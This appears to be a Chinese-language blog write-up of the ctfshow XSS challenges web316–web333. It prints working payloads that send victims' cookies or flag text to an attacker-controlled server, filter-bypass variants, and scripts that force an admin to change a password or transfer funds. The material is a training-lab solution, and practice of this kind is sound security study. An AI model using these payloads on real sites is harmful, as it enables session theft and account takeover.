跨站脚本攻击在这一套题目中体现的淋漓尽致。
web316
跨站脚本攻击,现时跨站,这里我用的自己的服务器,当然也有用各种xss网站的,
都差不多,比如http://xsscom.com/加载的还比较快。
我用的自己服务器,贴上一个这个脚本
1 |
|
我这里建议文件名不要用xss,因为我刚开始用的xss,后边会有题目把xss过滤了。
payload:
<script>window.location.href='http://自己服务器IP/a.php?1='+document.cookie</script>
window.location.href
可以理解成是,跳转到href里,具体参考https://www.cnblogs.com/Qian123/p/5345298.html#_label3
document.cookie
就是创建一个cookie,这里是把目标cookie窃取下来,具体参考https://www.runoob.com/jsref/prop-doc-cookie.html
web317-319
这里属于是一招鲜吃遍天了,这里过滤的东西都不一样,有img,script,xss
但是payload:
<body onload="document.location.href='http://IP/a.php?1='+document.cookie"></body>
无敌
web320-web326
过滤了空格,但是tab或者/或者/**/都可以用
所以payload:
<body/onload="document.location.href='http://ip/a.php?1='+document.cookie"></body>
web327
开始来到存储型XSS,难度起来了。
这题注意收件人要是admin
然后信的内容还是老样子
<body/**/onload="document.location.href='http://ip/a.php?1='+document.cookie"></body>
web328
这题打开会发现貌似没有传xss payload的地方,但是细心的同学会发现
也就是说,如果我们是admin,说不定就拿到flag了,那咱们有了admin的cookie,是不是就能伪装成admin呢
那么还是怎么传payload的问题,密码为啥不能是payload,注册就拿到cookie了
这题body不能用了,返璞归真,用script
<script>document.location.href='http://ip/a.php?1='+document.cookie;</script>
如果你很不幸x到了自己,出了多个sessionid,那么就选最后一个
然后抓包,改个cookie就OK
web329
在这个例子中,admin的sessionid每次会话都会变,所以没办法使用sessionid进行登录(机器人好像设置的是上去一下就下来),那么思路就是让注入的XSS Payload自动读取本页面的带有ctfshow
的字段并发到vps上。
注册一个普通账号并登录,修改一个显示密码的地方为ctfshow{123456}
,然后尝试直接在console中将这段字段读出来并发送到vps中,使用jQuery的类选择器:
群主就根据这个东西写出来了payloa
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.location.href='http://ip/a.php?1='+value.innerHTML;}});</script>
还是拿这个当作密码,就可以了。
web330
上来先试一梭子上一题的payload,好像并没有成功。
继续看这题多了个修改密码界面,那么只要让管理员修改成我们知道的密码,就能解决了
x到管理员,还是得走我们的密码。先抓个包看看改密码的api
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
这里的由于x的是admin,所以用了admin的本地IP127.0.0.1
注册,发现并没有什么用,试试用户名,你看那用户名,很长一筐,其实之前一直没用用户名,是因为用户名只能注册一次,但是密码可以重复
或者保险起见,直接用户名密码全是xss
好了,admin#123 登陆成功,为了防止自动跳转,这里抓一下
web331
上来,先试一试上一题的payload,好吧,并没有那么幸运
这里注意到url,发现并不是get了,那么猜测是post,抓包一看,果然是
仿照,post的源码,写个payload就好了
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>
payload来喽,解决
web332
先试一下上一题的payload,就是说,只要拿到admin了,什么都好说,然后失败了,转换思路。
这题很简单,要买flag嘛,但是钱不够,还有个转账口子
尝试转负的,然后就成功了
购买flag,成功
这题也可以给自己转账,然后会发现,给自己转账是不要钱的,然后就可以一直转,只要金额少于自己的余额就行。
这里就不再演示了。
然后这好像跟xss没什么关系,现在x不到admin的密码了,我们试一试能不能直接x一下admin转账,我们抓包看一下转账的传参
改一下上一题的payload
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>
搞定啊
web333
首先试一试上一题,给自己转账是可行的,x到admin转账也是可行的。
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>
总结
js很重要,可以通过js搞整个网页
- Post title: ctfshow_xss_wp
- Create time: 2022-05-14 00:00:00
- Post link: 2022/05/14/ctfshow_xss_wp/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.